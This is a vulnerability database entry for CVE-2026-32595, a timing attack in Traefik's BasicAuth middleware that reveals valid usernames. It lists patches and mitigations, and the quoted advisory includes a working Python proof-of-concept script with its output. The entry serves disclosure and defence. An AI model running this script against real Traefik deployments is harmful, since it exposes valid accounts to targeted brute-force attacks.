CVE-2026-32595 — traefik
CVE-2026-32595 is a CWE-208 vulnerability in github.com/traefik/traefik. A fix is available for github.com/traefik/traefik — see the affected versions and patch details below.
Traefik: BasicAuth Middleware Timing Attack Allows Username Enumeration
Exploitation Status
No confirmed exploitation observed yet
- CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-32595.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
Real-World Exposure
github.com/traefik/traefik🐹github.com/traefik/traefik/v2🐹github.com/traefik/traefik/v3🐹github.com/traefik/traefik/v3Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
There is a potential vulnerability in Traefik's BasicAuth middleware that allows username enumeration via a timing attack.
When a submitted username exists, the middleware performs a bcrypt password comparison taking ~166ms. When the username does not exist, the response returns immediately in ~0.6ms. This ~298x timing difference is observable over the network and allows an unauthenticated attacker to reliably distinguish valid from invalid usernames.
Patches
- https://github.com/traefik/traefik/releases/tag/v2.11.41
- https://github.com/traefik/traefik/releases/tag/v3.6.11
- https://github.com/traefik/traefik/releases/tag/v3.7.0-ea.2
For more information
If you have any questions or comments about this advisory, please open an issue.
<details> <summary>Original Description</summary>Summary
A timing attack vulnerability exists in Traefik's BasicAuth middleware that allows unauthenticated attackers to enumerate valid usernames. When a username exists, bcrypt password verification takes ~166ms; when it doesn't exist, the response returns immediately in ~0.6ms. This ~298x timing difference enables reliable username enumeration.
Details
The vulnerability exists in the BasicAuth middleware implementation. When validating credentials:
- User exists: The system performs bcrypt password comparison, which intentionally takes ~100-200ms due to bcrypt's design
- User doesn't exist: The system immediately returns authentication failure in ~0.6ms
This timing difference is observable over the network and allows attackers to distinguish between valid and invalid usernames.
Root Cause: The code returns early when the user is not found, without performing a dummy bcrypt comparison to maintain constant-time execution.
Expected behavior: The system should perform a bcrypt comparison regardless of whether the user exists, to maintain consistent response times.
PoC
Environment:
- Traefik v3.6.9
- k3s v1.34.5
Configuration:
apiVersion: traefik.io/v1alpha1
kind: Middleware
metadata:
name: basicauth
namespace: traefik-poc
spec:
basicAuth:
secret: basic-auth-secret
---
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
name: test-basicauth
annotations:
traefik.ingress.kubernetes.io/router.middlewares: traefik-poc-basicauth@kubernetescrd
spec:
ingressClassName: traefik
rules:
- http:
paths:
- path: /protected
pathType: Prefix
backend:
service:
name: whoami
port:
number: 80
PoC Script:
#!/usr/bin/env python3
import requests
import time
import statistics
import sys
TARGET = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:30080/protected"
TEST_USERS = ["admin", "root", "test", "nonexistent12345"]
SAMPLES = 20
def measure_time(username, password="wrongpassword"):
times = []
for _ in range(SAMPLES):
start = time.perf_counter()
requests.get(TARGET, auth=(username, password), timeout=5)
elapsed = time.perf_counter() - start
times.append(elapsed)
return statistics.median(times)
print(f"Target: {TARGET}")
print(f"Samples per user: {SAMPLES}\n")
for user in TEST_USERS:
median = measure_time(user)
if median > 0.05: # bcrypt threshold
status = "[+] EXISTS (slow - bcrypt verification)"
else:
status = "[-] NOT FOUND (fast - immediate return)"
print(f"{status}: {user:20s} | median={median:.4f}s")
Execution Results:
Target: http://10.10.10.7:30080/protected
Samples per user: 20
[+] EXISTS (slow - bcrypt verification): admin | median=0.1665s
[-] NOT FOUND (fast - immediate return): root | median=0.0006s
[-] NOT FOUND (fast - immediate return): test | median=0.0006s
[-] NOT FOUND (fast - immediate return): nonexistent | median=0.0006s
Timing difference ratio: 298.0x
Impact
- Vulnerability Type: Information Disclosure via Timing Attack (CWE-208)
- Impact:
- Attackers can enumerate valid usernames without authentication
- Enables targeted password brute-force attacks against confirmed accounts
- Exposes information about system user structure
- Who is impacted: All users of Traefik's BasicAuth middleware are affected. The vulnerability requires:
- BasicAuth middleware enabled
- Attacker able to make requests to protected endpoints
- Network access to measure response times
- Attack Complexity: Low - only requires sending HTTP requests and measuring response times
- Privileges Required: None
- User Interaction: None
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/traefik/traefik | all versions | No fix |
| 🐹Go | github.com/traefik/traefik/v2 | all versions | 2.11.41go get github.com/traefik/traefik/v2@v2.11.41 |
| 🐹Go | github.com/traefik/traefik/v3 | all versions | 3.6.11go get github.com/traefik/traefik/v3@v3.6.11 |
| 🐹Go | github.com/traefik/traefik/v3 | ≥ 3.7.0-ea.1&&< 3.7.0-ea.2 | 3.7.0-ea.2go get github.com/traefik/traefik/v3@v3.7.0-ea.2 |
Affected Products
traefiktraefikDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/traefik/traefik, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
A fix is available for CVE-2026-32595; check the affected-versions list above or the advisory for the patched release of github.com/traefik/traefik, then make sure no transitive dependency still pins the vulnerable range.
Workarounds
Assume what was exposed is already known: rotate any credential, token or key that the affected component could return, restrict the endpoint to callers that genuinely need it, and strip sensitive fields from responses and error output at the boundary rather than relying on the client not to read them.
Fixing This On Your OS
If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.
MODERATE. The vulnerability in Traefik's BasicAuth middleware allows an unauthenticated attacker to perform username enumeration through a timing attack. By observing response times, an attacker can distinguish valid usernames from invalid ones. This information disclosure could aid in further targeted attacks against…
To mitigate the risk of username enumeration, restrict network access to the Traefik instance using firewall rules or network policies, allowing connections only from trusted sources. If BasicAuth is not strictly required, consider disabling or removing the BasicAuth middleware configuration.Source: Red Hat security advisory for CVE-2026-32595 (CC BY 4.0)
Frequently Asked Questions
Is CVE-2026-32595 in your dependencies?
Find it across Go, including transitive dependencies.